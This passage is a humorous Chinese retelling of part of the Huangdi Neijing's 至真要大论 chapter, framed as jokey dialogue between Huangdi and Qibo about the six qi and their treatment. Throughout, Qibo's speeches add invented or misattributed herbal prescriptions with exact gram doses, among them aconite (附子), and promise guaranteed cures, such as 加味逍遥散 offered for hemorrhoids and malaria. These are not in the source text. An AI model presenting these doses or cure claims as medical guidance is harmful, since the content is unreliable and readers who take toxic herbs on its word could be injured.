岐伯继续：“更绝的是，这寒气要是再往里头窜，窜到胃里，您猜怎么着？心痛就来了，跟有人拿刀捅你似的。还有啊，阴部可能还会长疮，那滋味，啧啧，别提多酸爽了。就连平时上厕所，都得哼哼唧唧的，不舒服极了。这寒气啊，还会拉着大腿一块儿受罪，肌肉紧绷得跟石头似的，血脉都冻住了，经络里的血液流通不畅，颜色都变了。有的人呢，可能还会拉肚子，拉得跟水一样；皮肤呢，肿得跟馒头似的，肚子胀得吃不下饭。这时候，您要是以为只是简单的寒症，那就大错特错了，因为这寒气还会玩起‘逆袭’，往头上冲，让您头疼得要命，感觉眼珠子都要掉出来了！” 黄帝听得一愣一愣的，笑道：“这太阳之胜，还真是够狠的啊！那要是寒气再往下走呢？” 岐伯摸了摸下巴上的胡子，故作深沉地说：“那可就更妙了，寒气一路溜达到下焦，您就得准备好迎接‘温柔’的腹泻了，这可不是一般的拉肚子，是那种软绵绵、没完没了的泻，感觉整个人都被掏空了。” 黄帝听完，笑得前仰后合，说：“岐伯啊，你这解释真是绝了，既专业又幽默，朕喜欢！不过，这病要是真来了，咱们得怎么治呢？” 岐伯嘿嘿一笑，说：“皇上别急，咱们有招儿。比如说，要是痔疮、疟疾啥的找上门，咱们可以用个方子，名叫‘加味逍遥散’。这方子啊，得用当归15克，白芍15克，柴胡8克，茯苓8克，白术8克，甘草5克，薄荷3克，生姜三片，再加上一些针对痔疮、疟疾的草药，比如黄柏啊、青蒿啊，煮成一锅，喝上几天，保证您舒坦多了。” 黄帝一听，眼睛一亮：“听起来挺靠谱的嘛！那要是心痛、阴部生疮这些呢？” 岐伯清了清嗓子：“这可得用到咱们的‘桂枝茯苓丸’了。桂枝15克，茯苓15克，桃仁去皮尖炒10克，丹皮8克，赤芍8克，研成粉末，炼蜜为丸，每天吃上几颗，活血化瘀，消肿止痛，效果杠杠的。至于阴部生疮嘛，外用点‘苦参洗剂’，苦参、黄柏、蛇床子各10克，煎水坐浴，保证您清爽舒适。” 黄帝听得津津有味，忍不住插话：“岐伯啊，你这方子里的药材名儿都挺有意思的，听起来就像是武侠小说里的秘籍啊！” 岐伯哈哈大笑：“皇上说得没错，咱们中医啊，就是讲究个天人合一，药材的名字也是充满了诗意和哲理呢。对了，说到脉象，这太阳之胜的时候，脉象往往是沉迟而紧的，就像冬天的河水，流得慢，还冻得硬邦邦的。这时候，咱们就得通过望闻问切，尤其是切脉，来准确判断病情，然后对症下药。” 话说有一天，黄帝闲来无事，就对岐伯说：“岐伯啊，你说这人体里的病啊，真是千奇百怪，咱们怎么治它们才好呢？”岐伯一听，嘿嘿一笑，说：“皇上您问对人啦，我这就给您来个‘六脉神剑’的医术秘籍，保证让您听得目瞪口呆，笑得前仰后合！” 黄帝一听，眼睛一亮，说：“哦？快说说看，这‘六脉神剑’究竟是何方神圣？” 岐伯清了清嗓子，开始了他的爆笑讲解：“首先啊，咱们说这厥阴之胜，就是肝经太旺了，这时候呢，得用甘清的药来治。甘清啊，就像是给肝经喝了杯甜甜的冰镇柠檬水，让它冷静下来。然后呢，再用点苦辛的药来辅佐，就像是给肝经加了点柠檬皮和姜片的味道，让它更提神醒脑。最后，用酸味的药来泻一泻，就像是给肝经吃了颗酸梅，让它知道‘哎呀，我不能再这么狂了’！” 黄帝一听，哈哈大笑：“这比喻真是绝了！那少阴之胜呢？” 岐伯接着说：“少阴之胜啊，就是心经和肾经闹别扭了。这时候呢，得用辛寒的药来治，就像是给心经和肾经吃了盘凉拌黄瓜，让它们清凉一下。再用苦咸的药来辅佐，就像是给它们加了点酱油和醋，让它们更懂得‘和为贵’。最后，用甘味的药来泻一泻，就像是给它们吃了块甜甜的糖果，让它们知道‘还是和谐相处最好’！” 黄帝听得津津有味，又问：“那太阴之胜呢？” 岐伯笑道：“太阴之胜啊，就是脾经太强势了。这时候呢，得用咸热的药来治，就像是给脾经吃了盘烤咸鱼，让它知道‘哎呀，我太咸了，得收敛点’。再用辛甘的药来辅佐，就像是给它加了点姜片和蜂蜜，让它更懂得‘甜中带咸，才是人生真谛’。最后，用苦味的药来泻一泻，就像是给脾经吃了颗苦瓜，让它知道‘苦口婆心，才是良药’！” 黄帝笑得前仰后合，又问：“少阳之胜呢？” 岐伯说：“少阳之胜啊，就是胆经和三焦经太调皮了。这时候呢，得用辛寒的药来治，就像是给它们吃了盘凉拌海带，让它们清凉一下。再用甘咸的药来辅佐，就像是给它们加了点糖和盐，让它们更懂得‘酸甜苦辣咸，人生五味杂陈’。最后，还是用甘味的药来泻一泻，就像是给它们吃了块甜甜的蛋糕，让它们知道‘调皮也要有个度’！” 黄帝听了，笑得眼泪都出来了，又问：“阳明之胜呢？” 岐伯说：“阳明之胜啊，就是胃经和大肠经太霸道了。这时候呢，得用酸温的药来治，就像是给它们吃了盘糖醋排骨，让它们知道‘酸酸甜甜就是我’。再用辛甘的药来辅佐，就像是给它们加了点姜片和红枣，让它们更懂得‘温暖人心’。最后，用苦味的药来泄一泄，就像是给它们吃了颗黄连，让它们知道‘苦尽甘来，才是正道’！” 黄帝笑得肚子都疼了，又问：“那太阳之胜呢？” 岐伯说：“太阳之胜啊，就是小肠经和膀胱经太热情了。这时候呢，得用甘热的药来治，就像是给它们吃了盘红烧肉，让它们知道‘热情如火，也要有个度’。再用辛酸的药来辅佐，就像是给它们加了点醋和辣椒，让它们更懂得‘酸辣可口，才是佳肴’。最后，用咸味的药来泻一泻，就像是给它们吃了块咸鱼干，让它们知道‘咸中带鲜，才是真谛’！” 说完这些，岐伯还特意给黄帝列举了一些草药，比如治厥阴风木的可以用白芍、菊花这些带点甜味和凉性的草药；治少阴君火的可以用黄连、黄芩这些带点苦味和寒性的草药；治太阴湿土的可以用茯苓、白术这些带点咸味和温性的草药；治少阳相火的可以用黄芩、柴胡这些带点苦味和寒性的草药，但别忘了加点甘草来滋润一下；治阳明燥金的可以用麦冬、石斛这些带点酸味和温性的草药；治太阳寒水的可以用附子、干姜这些带点辛味和温性的草药，再加点盐巴来泻一泻。 至真要大论篇第七十四（十） 黄帝这天心血来潮，突然对岐伯说：“嘿，岐伯老兄，咱们来聊聊那个六气复发的事儿呗，咋样？”岐伯一听，眼镜一亮，笑道：“哟，陛下这是又要考我啦？行啊，那我就给您说道说道！” 黄帝点头：“那就从厥阴风木这个调皮鬼开始吧！” 岐伯清了清嗓子，一本正经地说：“要说这厥阴风木复发啊，那场面，啧啧，简直就像是大自然在发小脾气！想象一下，你的小腹那里，硬邦邦的，跟塞了个大石头似的，还一阵阵剧痛，痛得你只想满地打滚。这时候，外面呢，狂风大作，飞沙走石，连那些可怜的小虫子都吓得不敢出门，树叶都被吹得东倒西歪，跟跳街舞似的。 你呢，不光肚子疼，心也跟着凑热闹，感觉像是有人在里面敲鼓，还一阵阵发冷出汗，吃什么吐什么，就算勉强吃下去，也得再原封不动地吐出来。这时候，你的筋骨也开始跟你作对，不是发抖就是眩晕，感觉整个人都要飘起来了。要是再严重点，这风木之气还会跑到脾那里捣乱，让你吃点东西就像被堵住了一样，又痛又吐，那滋味，啧啧，简直比失恋还难受！” 黄帝听得哈哈大笑：“你这描述，简直比说相声还逗！那要是厥阴复发到极点，是不是就没救了？” 岐伯故作神秘地说：“那可不一定哦！要是冲阳穴（现代对应足阳明胃经的原穴，大约位于脚背第二、三跖骨结合部前凹陷处）的脉气绝了，那就真的麻烦了，相当于你的胃动力完全瘫痪，吃什么都不消化，那可真就是‘死不治’啦！” 黄帝一听，笑得前仰后合：“哈哈，你这说得也太吓人了！那厥阴复发有没有什么解救的方子呢？” 岐伯摸了摸下巴，思索片刻：“当然有啦！不过，这方子可讲究了，得用白芍药15克，炙甘草15克，还有枳实两枚（现代大概算10克，因为古时候一枚枳实重量不定，我们就这么估摸着来），再加柴胡25克。把这些药材放在一起煮，煮得浓浓的，然后趁热喝下去，保证你药到病除，比喝奶茶还管用！” 黄帝再次对岐伯说：“嘿，岐伯，那个少阴之复是咋回事儿？你能不能给我讲讲？”岐伯一听，哈哈一笑，说：“这事儿啊，说来话长，不过既然你问了，那我就给你说道说道。” 岐伯清了清嗓子，开始娓娓道来：“要说这少阴之复啊，那可是个大热闹！你想啊，这少阴啊，本来就是主水的，结果它一复，嘿，燠热（就是那种热得让人直冒汗的热气）就在身体里头闹腾开了。这时候的人啊，烦躁得跟热锅上的蚂蚁似的，鼻子也痒，老想打喷嚏，小腹还一阵阵绞痛，跟有人拿刀捅似的。” 黄帝一听，瞪大了眼睛：“这么夸张？” 岐伯接着说：“夸张？这才哪儿到哪儿啊！接下来，火势一旺，那简直是燎原之势啊，连喉咙都干得跟旱田似的。而且啊，这热啊，它还分时段，一会儿来一会儿走，跟闹着玩似的。不过，你可别小看了它，它动起来的时候，可是从左到右，跟个巡逻兵似的，到处逛荡。这时候的人啊，咳嗽、皮肤疼，说不定还会突然说不出话来，心疼得跟刀绞似的，严重的还会晕过去，跟死了一样。不过别担心，这只是暂时的，过一会儿他就会醒过来，然后就开始打寒战，冻得跟筛糠似的，嘴里还胡说八道。等到寒气一过，热气又来了，渴得跟沙漠里的骆驼似的，想喝水，可这时候啊，他的气已经不足了，骨头也开始萎缩，连肠子都不通了，肚子胀得跟气球似的。再看看外面，皮肤肿得跟馒头似的，还时不时地打嗝、嗳气。你说这热闹不热闹？” 黄帝听得哈哈大笑：“这少阴之复，还真是够折腾人的！” 岐伯接着说：“可不是嘛！这时候啊，你要是看到红色的雾气弥漫，水流都不结冰了，那就说明热气已经大行其道了。这时候啊，那些甲壳类的虫子啊，都躲得远远的，不敢出来了。而人呢，就容易得各种皮肤病、疮疡啊，严重的还会得痈疽、痤疮啥的。要是再严重点，这热气啊，还会跑到肺里去，到时候就咳个不停，鼻子还老流鼻涕，跟个小泉眼似的。” 黄帝一听，皱了皱眉：“那可咋办啊？” 岐伯叹了口气：“要是真到了那一步，那可就不好办了。特别是天府穴（现代穴位名称，位于手臂内侧，腋前纹头下三寸，肱二头肌桡侧缘处），那可是肺经的要穴啊，要是这儿的气绝了，那可就真的没救了。” 黄帝一听，吓得直拍桌子：“这么严重？” 岐伯笑了笑：“所以啊，咱们得提前预防啊！这少阴之复啊，说到底还是阴阳失调闹的。要想预防啊，就得调理阴阳，让身体达到平衡。比如说啊，你可以吃点中药，像什么知母啊、黄柏啊，这些都是滋阴降火的良药。不过啊，这方子可得配好了，知母5克，黄柏5克，煎汤服用，连服个七八天，保准你身体倍儿棒，吃嘛嘛香！” 黄帝一听，眼睛一亮：“这方子这么简单？” 岐伯点了点头：“简单归简单，可也得对症啊！要是症状不对，这方子可就没用了。所以啊，咱们还是得先辩证，看看是阴虚还是阳虚，是实火还是虚火，然后再对症下药。就像你炒菜一样，你得知道放多少盐、多少油，才能炒出好吃的菜来。” 黄帝一脸严肃地再次问岐伯：“岐伯啊，我对那个‘太阴之复’的事儿也挺好奇的，你能不能给我讲讲这背后的道理？” 岐伯一听，立马来了精神，他清了清嗓子，开始了一段既专业又爆笑的讲解：“哎呀，黄帝啊，这‘太阴之复’啊，说白了就是湿气这家伙又卷土重来了！你可得听好了，这湿气一来，咱们的身体就像被水泡过的面包，沉甸甸的，感觉全身哪儿都不对劲儿。” 黄帝眨巴眨巴眼睛，一脸疑惑：“哦？这么严重？那具体会咋样呢？” 岐伯继续道：“你看啊，湿气一重，咱们这肚子就开始闹意见了，吃什么都不消化，感觉就像肚子里装了个搅拌机，咕噜咕噜响个不停。还有啊，这湿气还会往上窜，顶得咱们胸口闷闷的，好像被一块大石头压着似的，连呼吸都不顺畅了。” 黄帝听得津津有味，忍不住插嘴：“那接下来呢？会不会更有趣？” 岐伯笑了：“更有趣的还在后头呢！这湿气啊，它还会让咱们咳嗽、喘气，声音大得跟打雷似的，周围的人听了都得吓一跳。而且啊，这时候老天爷也爱凑热闹，大雨倾盆而下，仿佛在说：‘看，我也来助威了！’结果呢，池塘里的鱼都高兴得跳上了岸，场面那叫一个壮观。” 黄帝听得哈哈大笑：“这湿气还真是个调皮鬼！” 岐伯接着说：“可不是嘛！湿气还会让咱们头顶疼得要命，感觉像是被戴了个紧箍咒，还时不时地抽搐一下，跟中了邪似的。更惨的是，有的人还会恶心呕吐，连话都说不出来，只能默默地流口水，那画面，简直了！” 黄帝笑得前仰后合：“这也太逗了吧！那要是再严重点呢？” 岐伯一脸严肃：“再严重啊，这湿气就会直接攻入咱们的肾脏，那时候可就麻烦了，上厕所跟开了闸似的，止都止不住。而且啊，要是影响到一个叫‘太溪’的穴位（现代对应穴位仍然是‘太溪’，位于脚内踝后缘与跟腱之间的凹陷处），那可真是神仙难救，必死无疑了。” 黄帝一听，吓得连忙摆手：“好了好了，别说了，这太阴之复也太吓人了吧！那有没有什么办法可以对付它呢？” 岐伯微微一笑：“当然有啦！咱们中医讲究的是辨证施治。对于这太阴之复啊，咱们可以用一个叫做‘茯苓白术散’的方子来调理。这方子啊，得用上茯苓、白术各15克，炙甘草10克，附子一枚（大约10克左右，得炮制过哦），还有生姜20克。把这些药材混在一起，研磨成粉末，每次用开水冲服一小勺，保证药到病除！” 黄帝一听，眼睛一亮：“这方子听起来挺靠谱的嘛！那脉象上会有什么变化呢？” 岐伯解释道：“这太阴之复啊，脉象上通常会表现为沉缓而迟，就像是冬天的河水，流动得特别慢。不过呢，要是咱们仔细观察，还能发现一些细微的变化，比如脉象中可能夹杂着一些濡滑的感觉，就像是在摸一条湿漉漉的泥鳅。” 黄帝又问岐伯：“嘿，岐伯，你再跟我讲讲那个少阳之复是咋回事儿呗？我这心里头跟猫抓似的，好奇心旺盛得很呢！” 岐伯一听，嘿，这黄帝又犯好奇病了，不过嘛，身为医学界的扛把子，解答问题那是必须的。于是他慢悠悠地开了腔：“要说这少阳之复啊，那简直就是一场自然界的热浪大派对！想象一下，太阳公公突然决定加班，热量嗖嗖地往上窜，大地都快烤成铁板烧了。这时候，不光是咱们人类受不了，就连那些甲壳类的小动物们，比如蜗牛、乌龟啥的，也都得躲进壳里避暑，生怕自己被烤成干儿。” 黄帝一听，乐了：“哈哈，这么说来，少阳之复就是自然界的烧烤大会啊！那人们会怎么样呢？” 岐伯接着说：“可不是嘛！人们这时候啊，就像是被热浪冲昏了头，容易出现心惊肉跳、手脚抽筋，还时不时咳嗽两声，咳得厉害了，鼻血都能喷出来。心里头那个烦躁啊，就跟吃了辣椒似的，坐立不安，老想往凉快地儿钻。连上厕所的频率都高了，风一吹，哎哟，那叫一个难受，恨不得把自己裹成粽子。” 黄帝听得津津有味，追问：“那还有其他啥症状不？听起来挺有意思的。” 岐伯继续描绘：“更有趣的是，这股热气还会往上冲，让你的脸看起来像蒙了一层灰，眼睛也开始眨巴眨巴的，好像在跳眼保健操。其实啊，这是火气在体内憋不住了，要往外冒呢！这一冒可好，嘴里头就开始长疮，吃啥吐啥，连血都可能跟着往外飙。有时候呢，冷热交替，一会儿冷得直打哆嗦，一会儿又热得跟蒸桑拿似的，咽喉干得像旱季的沙漠，渴得要命，喝水都不解渴。皮肤颜色也变了，黄里透红，跟秋天的枫叶似的，不过这可不是啥好事儿。气息短促，脉象也变得软绵绵的，像是被抽走了灵魂的气球。” 黄帝听得哈哈大笑：“这少阳之复，简直就是人体的大冒险啊！那接下来会发生什么呢？” 岐伯神秘一笑：“别急，精彩还在后头呢！如果这热劲儿持续下去，体内水分就会失衡，变成水肿，就像吹气球一样，身体某些部位就肿起来了。再严重点，这股热气还可能窜到肺里，让你咳得死去活来，咳出血来。特别是那个尺泽穴啊，现代医学上叫‘肘横纹中，肱二头肌腱桡侧凹陷处’，要是这儿的脉象没了，那就麻烦了，相当于给生命按下了暂停键，难治得很呐！” 黄帝一听，故作惊恐状：“哎呀妈呀，这么严重！那有没有什么灵丹妙药能救救急呢？” 岐伯摸了摸下巴，思索片刻：“当然有啦！不过咱们得来个古老配方，名叫‘清热润燥汤’。材料嘛，简单得很，黄芩、黄连、黄柏各15克，再加上知母、麦冬各10克，生甘草5克。把这些药材放锅里，加水没过药材，大火烧开转小火慢慢炖，炖个一两个钟头，滤掉药渣，剩下的汤水就是咱们的救命稻草啦！喝下去，保准你体内那股燥热之气烟消云散。” 黄帝听完，笑得合不拢嘴：“哈哈，老岐，你这方子听起来就像是夏日里的一杯冰镇可乐，清凉解渴又提神！下次遇到少阳之复，我就靠你这清热润燥汤来救场了！” 岐伯也笑了：“哈哈，黄帝啊黄帝，你可别忘了，预防为主，少熬夜，多喝水，少吃辣，这样才能真正远离这少阳之复的‘烤验’啊！” 至真要大论篇第七十四（十一） 黄帝心血来潮，就跟岐伯来了场“灵魂拷问”：“岐伯啊，我一直对那个阳明之复的事儿挺好奇的，你给我说道说道呗？”岐伯一听，嘿，这可是个展示自己的好机会，立马清了清嗓子，开启了“科普模式”。 岐伯慢悠悠地说：“黄帝您问得好！这阳明之复啊，就像是自然界的一场大扫除，清气那是浩浩荡荡，席卷而来，连树木都被吹得干枯苍老，好像一夜之间从青壮年变成了老爷爷。这时候，那些毛茸茸的小虫子们可就惨了，它们得了一场大病，个个都变得凶猛异常，就像是被生活逼急了的小强。 咱们人要是摊上这事儿，问题也不小。首先，你会觉得腰侧啊、肋骨那块儿不舒服，好像有人在那儿偷偷捏你。这气儿啊，还特别爱往左边跑，搞得你整天唉声叹气的，跟个林黛玉似的。要是再严重点，心痛、胃胀、肚子胀得像怀了个足月宝宝，还时不时拉肚子，那感觉，简直比吃了泻药还酸爽。 更绝的是，你还会时不时呕吐些苦水，咳嗽两声还带打嗝，心里头烦得跟猫抓似的。这病啊，就在你的胸口那块儿捣乱，让你头疼欲裂，感觉脑仁儿都要被挤出来了。要是再不管不顾，它还会趁机溜进你的肝脏，到时候，你就等着被‘吓’得不轻，手脚抽筋，跟演杂技似的。 说到治疗啊，有个穴位特别关键，叫‘太冲穴’，在古代医术里那可是救命稻草般的存在。不过，要是这穴位‘罢工’了，也就是脉搏摸不到了，那可真是神仙难救，只能准备后事了。当然了，这只是极端情况，咱们还是得积极面对，不是吗？” 黄帝一听，这阳明之复还真是来者不善啊，连忙追问：“那有没有什么方子能对付它呢？”岐伯微微一笑，说：“当然有啦，我这就给你开个‘阳明清扫队’的方子，保证药到病除！” “这方子啊，咱们得用上黄芩15克，这可是清热燥湿的高手；再加上茯苓15克，它能帮你利湿健脾，让你体内的湿气无处遁形；还有生甘草10克，调和药性，让大伙儿团结一致对抗病魔；再加上生姜三两15克，驱寒暖胃，让你体内的小太阳重新燃烧起来；最后，来点白芍15克，舒缓你的肝气，让你不再那么‘易燃易爆’。 制作起来也简单，把这些药材统统扔进锅里，加水没过药材两寸左右，然后用小火慢慢炖煮，煮到水剩下原来的一半，滤掉药渣，剩下的药液就是你的‘专属圣水’啦。每天早晚喝上一碗，保证你药到病除，精神焕发！” 黄帝一听，这方子听起来还挺有意思的，不过转念一想，这脉象的事儿还没弄清楚呢，于是又问：“那这脉象又是怎么回事呢？”岐伯故作神秘地说：“脉象啊，那可是身体的小秘密，咱们得仔细听它说话。阳明之复的时候，脉象通常会显得弦而有力，就像琴弦被紧绷着，随时可能断掉一样。这表示你的肝气郁结，气血运行不畅。 黄帝继续问岐伯：“嘿，岐伯，我一直想搞个明白，那个太阳之复到底是个啥情况？是不是太阳发小脾气，然后又和好了的那种感觉？”岐伯一听，这黄帝还真是会找乐子啊，但他还是一本正经地回答起来。 岐伯清了清嗓子，说：“黄帝啊，这太阳之复啊，其实就像是太阳偶尔闹了个小情绪，结果它的那股子‘厥气’——就是那股子不爽的气，嗖的一下往上冲。这一冲可好，天气立马变了脸，水啊、雨啊、冰啊，嗖嗖地往下掉，那些个羽毛类的小动物们，比如小鸟小鸟们，可就倒霉了，一个个冻得直哆嗦，最后只能跟这个世界说拜拜了。” 黄帝一听，哈哈大笑：“这太阳也太不够意思了，连小鸟都不放过！” 岐伯接着说：“不止是小鸟，咱们人体也跟着遭殃。太阳这一复，心和胃这俩兄弟就开始觉得冷飕飕的，好像吃了冰块似的。胸膈那里，就像是被什么堵住了，不通气，心里那叫一个憋屈啊，还时不时隐隐作痛，感觉胸口像是被压了块大石头。头也开始疼起来，就像有人拿锤子敲似的，时不时还头晕目眩，感觉整个世界都在旋转，一不小心就能摔个大跟头。吃东西也没胃口了，看着美食就像看着毒药一样。 还有那腰啊，简直是疼得要命，就像是被人狠狠踢了一脚，想弯弯不下，想直直不起，就跟个木头人一样僵硬。再看看外面的世界，地都裂开了缝，冰硬得跟石头似的，阳光都失去了往日的温暖，整个世界就像是被施了魔法一样，冷冰冰的。 更惨的是，小腹那里，就像是被人扯住了一样，连着腰和脊椎，还时不时地往上冲，直冲心口，那感觉就像是心脏要跳出来似的。嘴里还不停地吐清水，时不时还打嗝，噫声连连，就像是刚吃了一顿大餐，结果全是空气。要是再严重点，这股气还会直接冲进心里，让人变得健忘，动不动就伤心难过，就像是林黛玉附身了一样。” 黄帝听得目瞪口呆：“这也太夸张了吧！那有没有什么办法能救救这些人呢？” 岐伯叹了口气：“办法是有，但得看运气。要是神门这个穴位的气脉断了，那就真的是神仙也难救了。神门啊，就是咱们现代说的手腕上的那个灵道穴旁边，你按一按，能感受到脉搏跳动的那个位置。要是那里没动静了，那就意味着心气已绝，回天无力了。” 黄帝一听，急忙问：“那要是还没到那一步呢？有没有什么方子可以救救急？” 岐伯说：“当然有，不过得讲究个配伍。比如说，咱们可以用点附子，这东西大热，能驱寒，咱们就用个10克，差不多就是两小勺吧。再加点干姜，也是温中的好东西，同样10克。还有炙甘草，能调和药性，也是10克。这三味药一起煮，煮成浓浓的汤，趁热喝下去，保证全身暖洋洋的，就像是冬天里的一把火。” 黄帝一听，眼睛一亮：“这方子听起来不错啊！不过，岐伯，你这方子有没有什么特别的讲究，比如火候啊，煎药时间啊？” 岐伯笑了笑：“火候嘛，得用文火慢炖，就像是炖肉的火候一样，不能急。煎药时间嘛，大概得煮个一两个时辰，也就是现在的两三个小时吧，得把药性都煮出来才行。” 黄帝问岐伯：“岐伯啊，你说咱们遇到那些身体出状况，比如阴阳失调、五行乱套的时候，该怎么办才好呢？” 岐伯一听，嘿，这问题问得好，于是他清了清嗓子，开始了他那既专业又带点幽默的讲解：“陛下，这事儿啊，咱们得分门别类来处理。比如说，碰到那个厥阴风木（在中医里，厥阴代表肝和胆，主风木之气）闹脾气，咱们就用酸寒的东西去治它，就像用柠檬加冰块去安抚一只发狂的小猫咪。然后呢，再用点甘甜和辛辣的做辅助，甘甜呢，就像给小猫咪一块糖，让它缓缓情绪；辛辣呢，就像给它一点辣椒，让它出出汗，释放一下压力。再比如说，咱们可以用白芍（酸味）和龙胆草（苦寒）来安抚它，白芍就像温柔的母亲，用酸味来疏泻肝气；龙胆草就像严厉的父亲，用苦寒来镇压肝火的嚣张。酸是用来疏泻的，甘甜是用来缓和的，这就叫‘以酸泻之，以甘缓之’。” 黄帝一听，觉得挺有意思，继续追问：“那要是少阴君火（少阴代表心和肾，君火指心火）也调皮了呢？” 岐伯笑道：“哈哈，少阴这家伙要是闹起来，咱们就用咸寒的东西去镇压它，比如海带炖冰块，咸寒入味，再加点苦辛的调料，比如苦瓜和姜，苦是用来疏泻心火的，辛是用来发散的。甘甜的呢，咱们这次不是用来缓和了，而是用来直接给它‘泻’一下，就像给心火浇点糖水，让它灭火的同时还感觉甜甜的。然后呢，再用点酸来收敛一下，免得它烧得太旺。辛苦的药呢，就像给心火开扇窗，让它透透气。咸味的药呢，就像给心火披上一件柔软的披风，让它别那么急躁。再比如说咱们可以用黄柏（咸寒）和黄连（苦寒）来对付它，黄柏就像给心火披上了一件咸寒的披风，让它别那么急躁；黄连就像给心火浇了一盆苦水，让它灭火的同时还感觉苦苦的。所以，这就是‘以咸寒治之，佐以苦辛，以甘泻之，以酸收之，辛苦发之，以咸软之’的道理。” 黄帝听得津津有味，又问：“那太阴湿土（太阴代表脾和肺，湿土之气与脾胃有关）要是也捣乱呢？” 岐伯摆了摆手：“太阴这家伙要是调皮，咱们就用苦热的东西去烘干它，比如黄连炖羊肉，苦是用来疏泻湿气的，热是用来温暖脾胃的。再用点酸和辛做辅助，酸就像给脾胃加点醋，让它更开胃；辛就像给脾胃加点辣椒，让它更有动力。苦不仅能疏泻，还能燥湿，就像给脾胃来个大扫除。泄呢，就是让它把湿气排出去。再比如说咱们可以用苍术（苦温）和茯苓（甘淡）来整治它，苍术就像给脾胃来了一场大扫除，用苦味来燥湿；茯苓就像给脾胃开了一扇窗，用甘淡来利湿。所以，这就是‘以苦热治之，佐以酸辛，以苦泻之，燥之，泄之’的秘诀。” 黄帝点头称赞，接着问：“少阳相火（少阳代表胆和三焦，相火指少阳之火）要是也不安分呢？” 岐伯笑了笑：“少阳这家伙要是捣乱，咱们就用咸冷的东西去制服它，比如盐水冰棒，咸是用来软坚散结的，冷是用来降温的。再用点苦辛做辅助，苦是用来疏泻相火的，辛是用来发散的。再比如说，咱们可以用夏枯草（咸寒）和栀子（苦寒）来制服它，夏枯草就像给相火披上了一件咸寒的斗篷，让它别那么嚣张；栀子就像给相火浇了一盆苦水，让它灭火的同时还感觉凉凉的。咸味除了软坚，还能让相火不那么嚣张。酸味呢，就像给相火套个缰绳，让它别太野。辛苦的药呢，就像给相火开条路，让它别堵在身体里。不过要注意，发的时候别用太热的东西，免得火上浇油，温凉的药也别乱用。少阴君火要是捣乱，也是这个治法。” 黄帝听得哈哈大笑，又问：“阳明燥金（阳明代表胃和大肠，燥金之气与肺胃有关）要是也不听话呢？” 岐伯摸了摸下巴：“阳明这家伙要是调皮，咱们就用辛温的东西去温暖它，比如生姜炖羊肉，辛是用来发散的，温是用来暖胃的。再用点苦甘做辅助，苦是用来疏泻燥气的，甘是用来补养的。苦不仅能疏泻，还能下气通便，就像给阳明来个大扫除。酸味呢，就像给阳明加点醋，让它更滋润。再比如说，咱们可以用石膏（辛甘寒）和杏仁（苦辛）来对付它，石膏就像给阳明来了一场甘甜的雨水，用辛甘寒来滋润；杏仁就像给阳明开了一条路，用苦辛来发散燥气。所以，这就是‘以辛温治之，佐以苦甘，以苦泄之，以苦下之，以酸补之’的法门。” 黄帝最后问：“那太阳寒水（太阳代表膀胱和小肠，寒水之气与肾和膀胱有关）要是也捣乱呢？” 岐伯耸了耸肩：“太阳这家伙要是调皮，咱们就用咸热的东西去温暖它，比如盐水煮火锅，咸是用来软坚的，热是用来驱寒的。再用点甘辛做辅助，甘是用来补养的，辛是用来发散的。苦味呢，就像给太阳加点咖啡，让它更坚固。再比如说，咱们可以用附子（咸热）和桂枝（辛甘温）来温暖它，附子就像给太阳加了一把火，用咸热来驱寒；桂枝就像给太阳披上了一件温暖的披风，用辛甘温来发散寒气。所以，这就是‘以咸热治之，佐以甘辛，以苦坚之’的妙招。” 讲到这里，岐伯顿了顿，总结道：“陛下，您看，治这些个调皮的家伙，咱们得根据它们的脾气来。寒的咱就用热的，热的咱就用寒的；温的咱就清清火，清的咱就暖暖身；散的咱就收一收，抑的咱就散一散；燥的咱就润一润，急的咱就缓一缓；坚的咱就软一软，脆的咱就坚一坚；衰的咱就补补，强的咱就泻泻。只要咱们掌握了这些大法，让身体里的气都安安稳稳的，保持清静，那病气就会慢慢衰退，回到它该去的地方。这就是咱们治疗的大体原则啦！” 至真要大论篇第七十四（十二） 黄帝说：“岐伯啊，你果然厉害！说到气在人体上下的运行，这究竟是怎么一回事呢？来来来，给我这个医学小白详细解释一下。” 岐伯摸了摸下巴的长胡子，笑眯眯地说：“皇上啊，您这可是问对人了。咱们先从上半身说起吧。您看啊，上半身有三个重要的‘气区’，这些呢，咱们可以理解为是‘天空的领域’，主要是由‘天气’来主宰的。就像咱们头顶的蓝天白云，它们影响着咱们的心情、呼吸啥的。同样的道理，下半身也有三个‘气区’，这些就是‘大地的领域’啦，自然是由‘地气’来管的。就像咱们脚下的土地，它滋养着咱们的根基，让咱们站得稳、走得远。” 黄帝眨了眨眼：“哦？那这些‘气区’和穴位有啥关系呢？” 岐伯说：“关系大了去了！您看，咱们上半身有个重要的穴位，现代叫‘百会穴’，它就像是天空中的太阳，给咱们全身提供着阳气和活力。而下半身呢，有个‘涌泉穴’，就像大地深处的温泉，给咱们提供着源源不断的阴液和滋养。这些穴位啊，就是咱们体内‘天气’和‘地气’的交汇点，也是调节身体平衡的关键。” 黄帝点了点头：“嗯，有点意思！那这些‘气’要是出了问题，咱们怎么知道是哪个‘气区’的问题呢？” 岐伯嘿嘿一笑：“这您就问到点子上了！咱们中医讲究‘以名命气，以气命处，而言其病’。简单来说，就是通过观察您的症状、体征啥的，来判断是哪个‘气区’出了问题。比如说，您要是觉得头晕目眩、呼吸困难啥的，那可能就是上半身‘天气’的问题啦；要是觉得腿脚无力、腰膝酸软啥的，那可能就是下半身‘地气’的问题啦。” 黄帝恍然大悟：“原来如此！那要是上半身的问题影响到下半身，或者下半身的问题影响到上半身呢？” 岐伯摸了摸胡子：“这也不难判断。比如说，要是上半身的‘天气’太过旺盛，导致下半身也跟着遭殃，那咱们就说这是‘天气’的问题，用调理上半身的穴位和方剂来治疗。反过来呢，要是下半身的‘地气’太过旺盛，导致上半身也跟着出问题，那咱们就说这是‘地气’的问题，用调理下半身的穴位和方剂来治疗。” 黄帝哈哈大笑：“岐伯啊，你这解释真是通俗易懂！那要是两种‘气’都出了问题呢？” 岐伯说：“这就更复杂一些了。不过呢，咱们中医讲究的是‘整体观念’，会把您全身的情况都考虑进去。就像咱们炖肉的配方，得根据肉的种类、口感、火候啥的来调整配料，才能炖出最美味的肉来。同样的道理，咱们治疗疾病也得根据您的体质、病情、病因啥的来制定个性化的治疗方案。” 黄帝点了点头：“嗯，这我懂。那你说的那个‘胜至’和‘复至’又是啥意思呢？” 